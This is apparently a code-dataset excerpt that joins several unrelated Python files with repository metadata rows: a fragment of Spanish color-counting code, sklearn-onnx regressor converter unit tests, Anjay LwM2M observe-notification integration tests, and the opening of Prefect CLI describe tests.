elif camara[i][j] == 3: cont_color2[3] = cont_color2[3] + 1 elif camara[i][j] == 4: cont_color2[4] = cont_color2[4] + 1 else: print("color no valido") cont=[cont_color,cont_color2] return cont def tablero(m,n,data,data_list,data_list2,cont_color,cont_color2,dificultad,camara): for i in xrange(m): for j in xrange(n): if data[data_list[dificultad][0]][data_list2[0][0]][i][j] == 0: cont_color[0] = cont_color[0] + 1 elif data[data_list[dificultad][0]][data_list2[0][0]][i][j] == 1: cont_color[1] = cont_color[1] + 1 elif data[data_list[dificultad][0]][data_list2[0][0]][i][j] == 2: cont_color[2] = cont_color[2] + 1 elif data[data_list[dificultad][0]][data_list2[0][0]][i][j] == 3: cont_color[3] = cont_color[3] + 1 elif data[data_list[dificultad][0]][data_list2[0][0]][i][j] == 4: cont_color[4] = cont_color[4] + 1 else: print("color no valido") for i in xrange(m): for j in xrange(n): if camara[i][j] == 0: cont_color2[0] = cont_color2[0] + 1 elif camara[i][j] == 1: cont_color2[1] = cont_color2[1] + 1 elif camara[i][j] == 2: cont_color2[2] = cont_color2[2] + 1 elif camara[i][j] == 3: cont_color2[3] = cont_color2[3] + 1 elif camara[i][j] == 4: cont_color2[4] = cont_color2[4] + 1 else: print("color no valido") cont=[cont_color,cont_color2] return cont

30.090047

163

0.618208

1,104

6,349

3.480072

0.101449

0.028631

0.058303

0.028631

0.928423

0.922957

0.919833

0

0.037713

0.223185

6,349

210

164

30.233333

0.741281

0.119704

0

0.832487

0

0.051702

0.007746

0

null

0.060914

0.025381

null

0.055838

0

null

0

1

0

1

0

null

0

1

0

1

0

9

53f7c6951cfd6e3ea2f2fd33c7df40481b372442

30,281

py

Python

tests/test_sklearn_glm_regressor_converter.py

elcolie/sklearn-onnx

004fa39cb995ada0cde232ae8e30341018f450ac

[ "MIT" ]

null

tests/test_sklearn_glm_regressor_converter.py

elcolie/sklearn-onnx

004fa39cb995ada0cde232ae8e30341018f450ac

[ "MIT" ]

null

tests/test_sklearn_glm_regressor_converter.py

elcolie/sklearn-onnx

004fa39cb995ada0cde232ae8e30341018f450ac

[ "MIT" ]

null

"""Tests GLMRegressor converter.""" import unittest from distutils.version import StrictVersion import numpy from numpy.testing import assert_almost_equal from sklearn import linear_model from sklearn.ensemble import GradientBoostingRegressor from sklearn.neural_network import MLPRegressor from sklearn.svm import LinearSVR from skl2onnx import convert_sklearn from skl2onnx.common.data_types import ( BooleanTensorType, DoubleTensorType, FloatTensorType, Int64TensorType, ) from onnxruntime import __version__ as ort_version, InferenceSession from test_utils import dump_data_and_model, fit_regression_model class TestGLMRegressorConverter(unittest.TestCase): def test_model_linear_regression(self): model, X = fit_regression_model(linear_model.LinearRegression()) model_onnx = convert_sklearn( model, "linear regression", [("input", FloatTensorType([None, X.shape[1]]))]) self.assertIsNotNone(model_onnx) dump_data_and_model( X, model, model_onnx, basename="SklearnLinearRegression-Dec4", allow_failure="StrictVersion(" "onnxruntime.__version__)" "<= StrictVersion('0.2.1')", ) @unittest.skipIf( StrictVersion(ort_version) <= StrictVersion("0.5.0"), reason="old onnxruntime does not support double") def test_model_linear_regression_multi(self): model, X = fit_regression_model(linear_model.LinearRegression(), n_targets=2) model_onnx = convert_sklearn( model, "linear regression", [("input", FloatTensorType([None, X.shape[1]]))]) self.assertIsNotNone(model_onnx) dump_data_and_model( X, model, model_onnx, basename="SklearnLinearRegressionMulti-Dec4", allow_failure="StrictVersion(" "onnxruntime.__version__)" "<= StrictVersion('0.2.1')", ) @unittest.skipIf( StrictVersion(ort_version) <= StrictVersion("0.5.0"), reason="old onnxruntime does not support double") def test_model_linear_regression64(self): model, X = fit_regression_model(linear_model.LinearRegression()) model_onnx = convert_sklearn(model, "linear regression", [("input", DoubleTensorType(X.shape))]) self.assertIsNotNone(model_onnx) self.assertIn("elem_type: 11", str(model_onnx)) dump_data_and_model( X.astype(numpy.float64), model, model_onnx, basename="SklearnLinearRegression64-Dec4", allow_failure="StrictVersion(" "onnxruntime.__version__)" "<= StrictVersion('0.2.1')", ) @unittest.skipIf( StrictVersion(ort_version) <= StrictVersion("0.5.0"), reason="old onnxruntime does not support double") def test_model_linear_regression64_multiple(self): model, X = fit_regression_model(linear_model.LinearRegression(), n_targets=2) model_onnx = convert_sklearn(model, "linear regression", [("input", DoubleTensorType(X.shape))]) self.assertIsNotNone(model_onnx) self.assertIn("elem_type: 11", str(model_onnx)) dump_data_and_model( X.astype(numpy.float64), model, model_onnx, basename="SklearnLinearRegression64Multi-Dec4", allow_failure="StrictVersion(" "onnxruntime.__version__)" "<= StrictVersion('0.2.1')", ) def test_model_linear_regression_int(self): model, X = fit_regression_model( linear_model.LinearRegression(), is_int=True) model_onnx = convert_sklearn( model, "linear regression", [("input", Int64TensorType([None, X.shape[1]]))]) self.assertIsNotNone(model_onnx) dump_data_and_model( X, model, model_onnx, basename="SklearnLinearRegressionInt-Dec4", allow_failure="StrictVersion(" "onnxruntime.__version__)" "<= StrictVersion('0.2.1')", ) def test_model_linear_regression_nointercept(self): model, X = fit_regression_model( linear_model.LinearRegression(fit_intercept=False)) model_onnx = convert_sklearn( model, "linear regression", [("input", FloatTensorType([None, X.shape[1]]))]) self.assertIsNotNone(model_onnx) dump_data_and_model( X, model, model_onnx, basename="SklearnLinearRegressionNoIntercept-Dec4", allow_failure="StrictVersion(" "onnxruntime.__version__)" "<= StrictVersion('0.2.1')", ) def test_model_linear_regression_bool(self): model, X = fit_regression_model( linear_model.LinearRegression(), is_bool=True) model_onnx = convert_sklearn( model, "linear regression", [("input", BooleanTensorType([None, X.shape[1]]))]) self.assertIsNotNone(model_onnx) dump_data_and_model( X, model, model_onnx, basename="SklearnLinearRegressionBool", allow_failure="StrictVersion(" "onnxruntime.__version__)" "<= StrictVersion('0.2.1')", ) def test_model_linear_svr(self): model, X = fit_regression_model(LinearSVR()) model_onnx = convert_sklearn( model, "linear SVR", [("input", FloatTensorType([None, X.shape[1]]))]) self.assertIsNotNone(model_onnx) dump_data_and_model( X, model, model_onnx, basename="SklearnLinearSvr-Dec4", allow_failure="StrictVersion(" "onnxruntime.__version__)" "<= StrictVersion('0.2.1')", ) def test_model_linear_svr_int(self): model, X = fit_regression_model(LinearSVR(), is_int=True) model_onnx = convert_sklearn( model, "linear SVR", [("input", Int64TensorType([None, X.shape[1]]))]) self.assertIsNotNone(model_onnx) dump_data_and_model( X, model, model_onnx, basename="SklearnLinearSvrInt-Dec4", allow_failure="StrictVersion(" "onnxruntime.__version__)" "<= StrictVersion('0.2.1')", ) def test_model_linear_svr_bool(self): model, X = fit_regression_model(LinearSVR(), is_bool=True) model_onnx = convert_sklearn( model, "linear SVR", [("input", BooleanTensorType([None, X.shape[1]]))]) self.assertIsNotNone(model_onnx) dump_data_and_model( X, model, model_onnx, basename="SklearnLinearSVRBool", allow_failure="StrictVersion(" "onnxruntime.__version__)" "<= StrictVersion('0.2.1')", ) def test_model_ridge(self): model, X = fit_regression_model(linear_model.Ridge()) model_onnx = convert_sklearn( model, "ridge regression", [("input", FloatTensorType([None, X.shape[1]]))]) self.assertIsNotNone(model_onnx) dump_data_and_model( X, model, model_onnx, basename="SklearnRidge-Dec4", allow_failure="StrictVersion(" "onnxruntime.__version__)" "<= StrictVersion('0.2.1')", ) def test_model_ridge_int(self): model, X = fit_regression_model(linear_model.Ridge(), is_int=True) model_onnx = convert_sklearn( model, "ridge regression", [("input", Int64TensorType([None, X.shape[1]]))]) self.assertIsNotNone(model_onnx) dump_data_and_model( X, model, model_onnx, basename="SklearnRidgeInt-Dec4", allow_failure="StrictVersion(" "onnxruntime.__version__)" "<= StrictVersion('0.2.1')", ) def test_model_ridge_bool(self): model, X = fit_regression_model(linear_model.Ridge(), is_bool=True) model_onnx = convert_sklearn( model, "ridge regression", [("input", BooleanTensorType([None, X.shape[1]]))]) self.assertIsNotNone(model_onnx) dump_data_and_model( X, model, model_onnx, basename="SklearnRidgeBool", allow_failure="StrictVersion(" "onnxruntime.__version__)" "<= StrictVersion('0.2.1')", ) def test_model_sgd_regressor(self): model, X = fit_regression_model(linear_model.SGDRegressor()) model_onnx = convert_sklearn( model, "scikit-learn SGD regression", [("input", FloatTensorType([None, X.shape[1]]))], ) self.assertIsNotNone(model_onnx) dump_data_and_model( X, model, model_onnx, basename="SklearnSGDRegressor-Dec4", allow_failure="StrictVersion(" "onnxruntime.__version__)" "<= StrictVersion('0.2.1')", ) def test_model_sgd_regressor_int(self): model, X = fit_regression_model( linear_model.SGDRegressor(), is_int=True) model_onnx = convert_sklearn( model, "SGD regression", [("input", Int64TensorType([None, X.shape[1]]))]) self.assertIsNotNone(model_onnx) dump_data_and_model( X, model, model_onnx, basename="SklearnSGDRegressorInt-Dec4", allow_failure="StrictVersion(" "onnxruntime.__version__)" "<= StrictVersion('0.2.1')", ) def test_model_sgd_regressor_bool(self): model, X = fit_regression_model( linear_model.SGDRegressor(), is_bool=True) model_onnx = convert_sklearn( model, "SGD regression", [("input", BooleanTensorType([None, X.shape[1]]))]) self.assertIsNotNone(model_onnx) dump_data_and_model( X, model, model_onnx, basename="SklearnSGDRegressorBool-Dec4", allow_failure="StrictVersion(" "onnxruntime.__version__)" "<= StrictVersion('0.2.1')", ) def test_model_elastic_net_regressor(self): model, X = fit_regression_model(linear_model.ElasticNet()) model_onnx = convert_sklearn( model, "scikit-learn elastic-net regression", [("input", FloatTensorType([None, X.shape[1]]))], ) self.assertIsNotNone(model_onnx) dump_data_and_model( X, model, model_onnx, basename="SklearnElasticNet-Dec4", allow_failure="StrictVersion(" "onnxruntime.__version__)" "<= StrictVersion('0.2.1')", ) def test_model_elastic_net_cv_regressor(self): model, X = fit_regression_model(linear_model.ElasticNetCV()) model_onnx = convert_sklearn( model, "scikit-learn elastic-net regression", [("input", FloatTensorType([None, X.shape[1]]))], ) self.assertIsNotNone(model_onnx) dump_data_and_model( X, model, model_onnx, basename="SklearnElasticNetCV-Dec4", allow_failure="StrictVersion(" "onnxruntime.__version__)" "<= StrictVersion('0.2.1')", ) def test_model_elastic_net_regressor_int(self): model, X = fit_regression_model(linear_model.ElasticNet(), is_int=True) model_onnx = convert_sklearn( model, "elastic net regression", [("input", Int64TensorType([None, X.shape[1]]))]) self.assertIsNotNone(model_onnx) dump_data_and_model( X, model, model_onnx, basename="SklearnElasticNetRegressorInt-Dec4", allow_failure="StrictVersion(" "onnxruntime.__version__)" "<= StrictVersion('0.2.1')", ) def test_model_elastic_net_regressor_bool(self): model, X = fit_regression_model( linear_model.ElasticNet(), is_bool=True) model_onnx = convert_sklearn( model, "elastic net regression", [("input", BooleanTensorType([None, X.shape[1]]))]) self.assertIsNotNone(model_onnx) dump_data_and_model( X, model, model_onnx, basename="SklearnElasticNetRegressorBool", allow_failure="StrictVersion(" "onnxruntime.__version__)" "<= StrictVersion('0.2.1')", ) def test_model_lars(self): model, X = fit_regression_model(linear_model.Lars()) model_onnx = convert_sklearn( model, "lars", [("input", FloatTensorType([None, X.shape[1]]))]) self.assertIsNotNone(model_onnx) dump_data_and_model( X, model, model_onnx, basename="SklearnLars-Dec4", allow_failure="StrictVersion(" "onnxruntime.__version__)" "<= StrictVersion('0.2.1')", ) def test_model_lars_cv(self): model, X = fit_regression_model(linear_model.LarsCV()) model_onnx = convert_sklearn( model, "lars", [("input", FloatTensorType([None, X.shape[1]]))]) self.assertIsNotNone(model_onnx) dump_data_and_model( X, model, model_onnx, basename="SklearnLarsCV-Dec4", allow_failure="StrictVersion(" "onnxruntime.__version__)" "<= StrictVersion('0.2.1')", ) def test_model_lasso_lars(self): model, X = fit_regression_model(linear_model.LassoLars(alpha=0.01)) model_onnx = convert_sklearn( model, "lasso lars", [("input", FloatTensorType([None, X.shape[1]]))]) self.assertIsNotNone(model_onnx) dump_data_and_model( X, model, model_onnx, basename="SklearnLassoLars-Dec4", allow_failure="StrictVersion(" "onnxruntime.__version__)" "<= StrictVersion('0.2.1')", ) def test_model_lasso_lars_cv(self): model, X = fit_regression_model(linear_model.LassoLarsCV()) model_onnx = convert_sklearn( model, "lasso lars cv", [("input", FloatTensorType([None, X.shape[1]]))]) self.assertIsNotNone(model_onnx) dump_data_and_model( X, model, model_onnx, basename="SklearnLassoLarsCV-Dec4", allow_failure="StrictVersion(" "onnxruntime.__version__)" "<= StrictVersion('0.2.1')", ) def test_model_lasso_lars_ic(self): model, X = fit_regression_model(linear_model.LassoLarsIC()) model_onnx = convert_sklearn( model, "lasso lars cv", [("input", FloatTensorType([None, X.shape[1]]))]) self.assertIsNotNone(model_onnx) dump_data_and_model( X, model, model_onnx, basename="SklearnLassoLarsIC-Dec4", allow_failure="StrictVersion(" "onnxruntime.__version__)" "<= StrictVersion('0.2.1')", ) def test_model_lasso_cv(self): model, X = fit_regression_model(linear_model.LassoCV()) model_onnx = convert_sklearn( model, "lasso cv", [("input", FloatTensorType([None, X.shape[1]]))]) self.assertIsNotNone(model_onnx) dump_data_and_model( X, model, model_onnx, basename="SklearnLassoCV-Dec4", allow_failure="StrictVersion(" "onnxruntime.__version__)" "<= StrictVersion('0.2.1')", ) def test_model_lasso_lars_int(self): model, X = fit_regression_model(linear_model.LassoLars(), is_int=True) model_onnx = convert_sklearn( model, "lasso lars", [("input", Int64TensorType([None, X.shape[1]]))]) self.assertIsNotNone(model_onnx) dump_data_and_model( X, model, model_onnx, basename="SklearnLassoLarsInt-Dec4", allow_failure="StrictVersion(" "onnxruntime.__version__)" "<= StrictVersion('0.2.1')", ) def test_model_lasso_lars_bool(self): model, X = fit_regression_model( linear_model.LassoLars(), is_bool=True) model_onnx = convert_sklearn( model, "lasso lars", [("input", BooleanTensorType([None, X.shape[1]]))]) self.assertIsNotNone(model_onnx) dump_data_and_model( X, model, model_onnx, basename="SklearnLassoLarsBool", allow_failure="StrictVersion(" "onnxruntime.__version__)" "<= StrictVersion('0.2.1')", ) def test_model_multi_linear_regression(self): model, X = fit_regression_model(linear_model.LinearRegression(), n_targets=2) model_onnx = convert_sklearn( model, "linear regression", [("input", FloatTensorType([None, X.shape[1]]))]) self.assertIsNotNone(model_onnx) dump_data_and_model( X, model, model_onnx, verbose=False, basename="SklearnMultiLinearRegression-Dec4", allow_failure="StrictVersion(" "onnxruntime.__version__)" "<= StrictVersion('0.2.1')", ) def test_model_ard_regression(self): model, X = fit_regression_model( linear_model.ARDRegression(), factor=0.001) model_onnx = convert_sklearn( model, "ard regression", [("input", FloatTensorType([None, X.shape[1]]))]) self.assertIsNotNone(model_onnx) dump_data_and_model( X, model, model_onnx, basename="SklearnARDRegression-Dec4", allow_failure="StrictVersion(" "onnxruntime.__version__)" "<= StrictVersion('0.2.1')", ) def test_model_theilsen(self): model, X = fit_regression_model(linear_model.TheilSenRegressor()) model_onnx = convert_sklearn( model, "thiel-sen regressor", [("input", FloatTensorType([None, X.shape[1]]))]) self.assertIsNotNone(model_onnx) dump_data_and_model( X, model, model_onnx, basename="SklearnTheilSen-Dec4", allow_failure="StrictVersion(" "onnxruntime.__version__)" "<= StrictVersion('0.2.1')", ) def test_model_bayesian_ridge(self): model, X = fit_regression_model(linear_model.BayesianRidge()) model_onnx = convert_sklearn( model, "bayesian ridge", [("input", FloatTensorType([None, X.shape[1]]))]) self.assertIsNotNone(model_onnx) dump_data_and_model( X, model, model_onnx, basename="SklearnBayesianRidge-Dec4", allow_failure="StrictVersion(" "onnxruntime.__version__)" "<= StrictVersion('0.2.1')", ) def test_model_bayesian_ridge_return_std(self): model, X = fit_regression_model(linear_model.BayesianRidge(), n_features=2, n_samples=20) model_onnx = convert_sklearn( model, "bayesian ridge", [("input", FloatTensorType([None, X.shape[1]]))], options={linear_model.BayesianRidge: {'return_std': True}}) self.assertIsNotNone(model_onnx) sess = InferenceSession(model_onnx.SerializeToString()) outputs = sess.run(None, {'input': X}) pred, std = model.predict(X, return_std=True) assert_almost_equal(pred, outputs[0].ravel(), decimal=4) assert_almost_equal(std, outputs[1].ravel(), decimal=4) @unittest.skipIf(StrictVersion(ort_version) < StrictVersion("1.3.0"), reason="output type") def test_model_bayesian_ridge_return_std_double(self): model, X = fit_regression_model(linear_model.BayesianRidge(), n_features=2, n_samples=100, n_informative=1) model_onnx = convert_sklearn( model, "bayesian ridge", [("input", DoubleTensorType([None, X.shape[1]]))], options={linear_model.BayesianRidge: {'return_std': True}}) self.assertIsNotNone(model_onnx) X = X.astype(numpy.float64) sess = InferenceSession(model_onnx.SerializeToString()) outputs = sess.run(None, {'input': X}) pred, std = model.predict(X, return_std=True) assert_almost_equal(pred, outputs[0].ravel()) assert_almost_equal(std, outputs[1].ravel(), decimal=4) def test_model_bayesian_ridge_return_std_normalize(self): model, X = fit_regression_model( linear_model.BayesianRidge(normalize=True), n_features=2, n_samples=50) model_onnx = convert_sklearn( model, "bayesian ridge", [("input", FloatTensorType([None, X.shape[1]]))], options={linear_model.BayesianRidge: {'return_std': True}}) self.assertIsNotNone(model_onnx) sess = InferenceSession(model_onnx.SerializeToString()) outputs = sess.run(None, {'input': X}) pred, std = model.predict(X, return_std=True) assert_almost_equal(pred, outputs[0].ravel(), decimal=4) assert_almost_equal(std, outputs[1].ravel(), decimal=4) @unittest.skipIf(StrictVersion(ort_version) < StrictVersion("1.3.0"), reason="output type") def test_model_bayesian_ridge_return_std_normalize_double(self): model, X = fit_regression_model( linear_model.BayesianRidge(normalize=True), n_features=2, n_samples=50) model_onnx = convert_sklearn( model, "bayesian ridge", [("input", DoubleTensorType([None, X.shape[1]]))], options={linear_model.BayesianRidge: {'return_std': True}}) self.assertIsNotNone(model_onnx) X = X.astype(numpy.float64) sess = InferenceSession(model_onnx.SerializeToString()) outputs = sess.run(None, {'input': X}) pred, std = model.predict(X, return_std=True) assert_almost_equal(pred, outputs[0].ravel()) assert_almost_equal(std, outputs[1].ravel(), decimal=4) def test_model_huber_regressor(self): model, X = fit_regression_model(linear_model.HuberRegressor()) model_onnx = convert_sklearn( model, "huber regressor", [("input", FloatTensorType([None, X.shape[1]]))]) self.assertIsNotNone(model_onnx) dump_data_and_model( X, model, model_onnx, basename="SklearnHuberRegressor-Dec4", allow_failure="StrictVersion(" "onnxruntime.__version__)" "<= StrictVersion('0.2.1')", ) def test_model_multi_task_lasso(self): model, X = fit_regression_model(linear_model.MultiTaskLasso(), n_targets=2) model_onnx = convert_sklearn( model, "multi-task lasso", [("input", FloatTensorType([None, X.shape[1]]))]) self.assertIsNotNone(model_onnx) dump_data_and_model( X, model, model_onnx, verbose=False, basename="SklearnMultiTaskLasso-Dec4", allow_failure="StrictVersion(" "onnxruntime.__version__)" "<= StrictVersion('0.2.1')", ) def test_model_multi_task_lasso_cv(self): model, X = fit_regression_model(linear_model.MultiTaskLassoCV(), n_targets=2) model_onnx = convert_sklearn( model, "mutli-task lasso cv", [("input", FloatTensorType([None, X.shape[1]]))]) self.assertIsNotNone(model_onnx) dump_data_and_model( X, model, model_onnx, verbose=False, basename="SklearnMultiTaskLassoCV-Dec4", allow_failure="StrictVersion(" "onnxruntime.__version__)" "<= StrictVersion('0.2.1')", ) def test_model_multi_task_elasticnet(self): model, X = fit_regression_model(linear_model.MultiTaskElasticNet(), n_targets=2) model_onnx = convert_sklearn( model, "multi-task elasticnet", [("input", FloatTensorType([None, X.shape[1]]))]) self.assertIsNotNone(model_onnx) dump_data_and_model( X, model, model_onnx, verbose=False, basename="SklearnMultiTaskElasticNet-Dec4", allow_failure="StrictVersion(" "onnxruntime.__version__)" "<= StrictVersion('0.2.1')", ) def test_model_orthogonal_matching_pursuit(self): model, X = fit_regression_model( linear_model.OrthogonalMatchingPursuit()) model_onnx = convert_sklearn( model, "orthogonal matching pursuit", [("input", FloatTensorType([None, X.shape[1]]))]) self.assertIsNotNone(model_onnx) dump_data_and_model( X, model, model_onnx, verbose=False, basename="SklearnOrthogonalMatchingPursuit-Dec4", allow_failure="StrictVersion(" "onnxruntime.__version__)" "<= StrictVersion('0.2.1')", ) def test_model_passive_aggressive_regressor(self): model, X = fit_regression_model( linear_model.PassiveAggressiveRegressor()) model_onnx = convert_sklearn( model, "passive aggressive regressor", [("input", FloatTensorType([None, X.shape[1]]))]) self.assertIsNotNone(model_onnx) dump_data_and_model( X, model, model_onnx, verbose=False, basename="SklearnPassiveAggressiveRegressor-Dec4", allow_failure="StrictVersion(" "onnxruntime.__version__)" "<= StrictVersion('0.2.1')", ) def test_model_ransac_regressor_default(self): model, X = fit_regression_model( linear_model.RANSACRegressor()) model_onnx = convert_sklearn( model, "ransac regressor", [("input", FloatTensorType([None, X.shape[1]]))]) self.assertIsNotNone(model_onnx) dump_data_and_model( X, model, model_onnx, verbose=False, basename="SklearnRANSACRegressor-Dec4", allow_failure="StrictVersion(" "onnxruntime.__version__)" "<= StrictVersion('0.2.1')", ) def test_model_ransac_regressor_mlp(self): model, X = fit_regression_model( linear_model.RANSACRegressor( base_estimator=MLPRegressor(solver='lbfgs'))) model_onnx = convert_sklearn( model, "ransac regressor", [("input", FloatTensorType([None, X.shape[1]]))]) self.assertIsNotNone(model_onnx) dump_data_and_model( X, model, model_onnx, verbose=False, basename="SklearnRANSACRegressorMLP-Dec3", allow_failure="StrictVersion(" "onnxruntime.__version__)" "<= StrictVersion('0.2.1')", ) def test_model_ransac_regressor_tree(self): model, X = fit_regression_model( linear_model.RANSACRegressor( base_estimator=GradientBoostingRegressor())) model_onnx = convert_sklearn( model, "ransac regressor", [("input", FloatTensorType([None, X.shape[1]]))]) self.assertIsNotNone(model_onnx) dump_data_and_model( X, model, model_onnx, verbose=False, basename="SklearnRANSACRegressorTree-Dec3", allow_failure="StrictVersion(" "onnxruntime.__version__)" "<= StrictVersion('0.2.1')", ) def test_model_multi_task_elasticnet_cv(self): model, X = fit_regression_model(linear_model.MultiTaskElasticNetCV(), n_targets=2) model_onnx = convert_sklearn( model, "multi-task elasticnet cv", [("input", FloatTensorType([None, X.shape[1]]))]) self.assertIsNotNone(model_onnx) dump_data_and_model( X, model, model_onnx, verbose=False, basename="SklearnMultiTaskElasticNetCV-Dec4", allow_failure="StrictVersion(" "onnxruntime.__version__)" "<= StrictVersion('0.2.1')", ) def test_model_orthogonal_matching_pursuit_cv(self): model, X = fit_regression_model( linear_model.OrthogonalMatchingPursuitCV()) model_onnx = convert_sklearn( model, "orthogonal matching pursuit cv", [("input", FloatTensorType([None, X.shape[1]]))]) self.assertIsNotNone(model_onnx) dump_data_and_model( X, model, model_onnx, verbose=False, basename="SklearnOrthogonalMatchingPursuitCV-Dec4", allow_failure="StrictVersion(" "onnxruntime.__version__)" "<= StrictVersion('0.2.1')", ) if __name__ == "__main__": unittest.main()

36.395433

79

0.576038

2,852

30,281

5.784011

0.075386

0.078019

0.052376

0.037039

0.878455

0.870332

0.868635

0.863058

0.827716

0.761639

0

0.014667

0.313266

30,281

831

80

36.43923

0.778601

0.000958

0

0.730323

0

0.169808

0.097699

0

0.074839

1

0.060645

false

0.005161

0.015484

0

0.077419

0

null

0

1

0

1

0

null

0

7

54cc4b2fd0ad5a0d61d951d5fb88cda5652a91cc

5,590

py

Python

tests/integration/suites/default/con_attr.py

AVSystem/Anjay

0a0efa41370dd2f22d0eebb1277c4915747aec28

[ "Apache-2.0" ]

161

2017-02-08T12:07:22.000Z

2022-03-20T11:10:10.000Z

tests/integration/suites/default/con_attr.py

AVSystem/Anjay

0a0efa41370dd2f22d0eebb1277c4915747aec28

[ "Apache-2.0" ]

53

2017-03-15T12:58:40.000Z

2022-01-20T09:31:54.000Z

tests/integration/suites/default/con_attr.py

AVSystem/Anjay

0a0efa41370dd2f22d0eebb1277c4915747aec28

[ "Apache-2.0" ]

68

2017-02-21T15:02:02.000Z

2022-03-19T06:24:21.000Z

# -*- coding: utf-8 -*- # # Copyright 2017-2021 AVSystem <avsystem@avsystem.com> # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import socket from framework.lwm2m_test import * class ConfirmableTest(test_suite.Lwm2mSingleServerTest, test_suite.Lwm2mDmOperations): def runTest(self): # Create object self.create_instance(self.serv, oid=OID.Test, iid=0) # Write Attributes for Counter self.write_attributes(self.serv, oid=OID.Test, iid=0, rid=RID.Test.Counter, query=['con=1', 'pmax=1']) # Observe: Counter counter_pkt = self.observe(self.serv, oid=OID.Test, iid=0, rid=RID.Test.Counter, token=random_stuff(8)) # Observe: Timestamp timestamp_pkt = self.observe(self.serv, oid=OID.Test, iid=0, rid=RID.Test.Timestamp, token=get_another_token(counter_pkt.token)) con_count = 0 non_count = 0 for _ in range(10): pkt = self.serv.recv() self.assertEqual(pkt.code, coap.Code.RES_CONTENT) self.assertIn(pkt.token, {counter_pkt.token, timestamp_pkt.token}) if pkt.token == counter_pkt.token: self.assertEqual(pkt.type, coap.Type.CONFIRMABLE) self.serv.send(Lwm2mEmpty.matching(pkt)()) con_count += 1 elif pkt.token == timestamp_pkt.token: self.assertEqual(pkt.type, coap.Type.NON_CONFIRMABLE) non_count += 1 self.assertGreater(con_count, 0) self.assertGreater(non_count, 0) # Cancel Observations # We don't wait for response to the first Cancel Observe before sending # the other one because expected responses are small enough to not # trigger a BLOCK transfer. In that case, Anjay is not expected to # attempt to receive additional packets during request handling - they # should be handled sequentially without any errors. self.serv.send(Lwm2mObserve( ResPath.Test[0].Counter, token=counter_pkt.token, observe=1)) self.serv.send(Lwm2mObserve( ResPath.Test[0].Timestamp, token=timestamp_pkt.token, observe=1)) # flush any remaining notifications & Cancel Observe responses try: while True: pkt = self.serv.recv(timeout_s=0.5) self.assertIn( pkt.token, {counter_pkt.token, timestamp_pkt.token}) except socket.timeout: pass class NonConfirmableTest(test_suite.Lwm2mSingleServerTest, test_suite.Lwm2mDmOperations): def setUp(self): super().setUp(extra_cmdline_args=['--confirmable-notifications']) def runTest(self): # Create object self.create_instance(self.serv, oid=OID.Test, iid=0) # Write Attributes for Counter self.write_attributes(self.serv, oid=OID.Test, iid=0, rid=RID.Test.Counter, query=['con=0', 'pmax=1']) # Observe: Counter counter_pkt = self.observe(self.serv, oid=OID.Test, iid=0, rid=RID.Test.Counter, token=random_stuff(8)) # Observe: Timestamp timestamp_pkt = self.observe(self.serv, oid=OID.Test, iid=0, rid=RID.Test.Timestamp, token=get_another_token(counter_pkt.token)) con_count = 0 non_count = 0 for _ in range(10): pkt = self.serv.recv() self.assertEqual(pkt.code, coap.Code.RES_CONTENT) self.assertIn(pkt.token, {counter_pkt.token, timestamp_pkt.token}) if pkt.token == counter_pkt.token: self.assertEqual(pkt.type, coap.Type.NON_CONFIRMABLE) non_count += 1 elif pkt.token == timestamp_pkt.token: self.assertEqual(pkt.type, coap.Type.CONFIRMABLE) self.serv.send(Lwm2mEmpty.matching(pkt)()) con_count += 1 self.assertGreater(con_count, 0) self.assertGreater(non_count, 0) # Cancel Observations # We don't wait for response to the first Cancel Observe before sending # the other one because expected responses are small enough to not # trigger a BLOCK transfer. In that case, Anjay is not expected to # attempt to receive additional packets during request handling - they # should be handled sequentially without any errors. self.serv.send(Lwm2mObserve( ResPath.Test[0].Counter, token=counter_pkt.token, observe=1)) self.serv.send(Lwm2mObserve( ResPath.Test[0].Timestamp, token=timestamp_pkt.token, observe=1)) # flush any remaining notifications & Cancel Observe responses try: while True: pkt = self.serv.recv(timeout_s=0.5) self.assertIn( pkt.token, {counter_pkt.token, timestamp_pkt.token}) except socket.timeout: pass

42.030075

92

0.619678

685

5,590

4.970803

0.258394

0.061087

0.044053

0.058737

0.819677

0.785903

0

0.0166

0.28873

5,590

132

93

42.348485

0.839789

0.278354

0

0.894737

0

0.012262

0.006757

0

0.184211

1

0.039474

false

0.026316

0

0.092105

0

null

0

1

0

1

0

null

0

7

07076d46939194b8069ff9b9f256f2a7982bef2a

10,080

py

Python

tests/cli/test_describe.py

trapped/prefect

128f11570c35e7156d65ba65fdcbc1f4ccd7c2b7

[ "Apache-2.0" ]

1

2019-12-20T07:43:55.000Z

tests/cli/test_describe.py

trapped/prefect

128f11570c35e7156d65ba65fdcbc1f4ccd7c2b7

[ "Apache-2.0" ]

null

tests/cli/test_describe.py

trapped/prefect

128f11570c35e7156d65ba65fdcbc1f4ccd7c2b7

[ "Apache-2.0" ]

null

import sys from unittest.mock import MagicMock import click import pytest import requests from click.testing import CliRunner import prefect from prefect.cli.describe import describe from prefect.utilities.configuration import set_temporary_config def test_describe_init(): runner = CliRunner() result = runner.invoke(describe) assert result.exit_code == 0 assert ( "Describe commands that render JSON output of Prefect object metadata." in result.output ) def test_describe_help(): runner = CliRunner() result = runner.invoke(describe, ["--help"]) assert result.exit_code == 0 assert ( "Describe commands that render JSON output of Prefect object metadata." in result.output ) @pytest.mark.skipif( sys.version_info < (3, 6), reason="3.5 does not preserve dictionary order" ) def test_describe_flows(monkeypatch): post = MagicMock( return_value=MagicMock( json=MagicMock(return_value=dict(data=dict(flow=[{"name": "flow"}]))) ) ) session = MagicMock() session.return_value.post = post monkeypatch.setattr("requests.Session", session) with set_temporary_config( {"cloud.graphql": "http://my-cloud.foo", "cloud.auth_token": "secret_token"} ): runner = CliRunner() result = runner.invoke(describe, ["flows", "--name", "flow"]) assert result.exit_code == 0 assert "name" in result.output query = """ query { flow(where: { _and: { name: { _eq: "flow" }, version: { _eq: null }, project: { name: { _eq: null } } } }, order_by: { name: asc, version: desc }, distinct_on: name) { name version project { name } created description parameters archived storage environment } } """ assert post.called assert post.call_args[1]["json"]["query"].split() == query.split() def test_describe_flows_not_found(monkeypatch): post = MagicMock( return_value=MagicMock(json=MagicMock(return_value=dict(data=dict(flow=[])))) ) session = 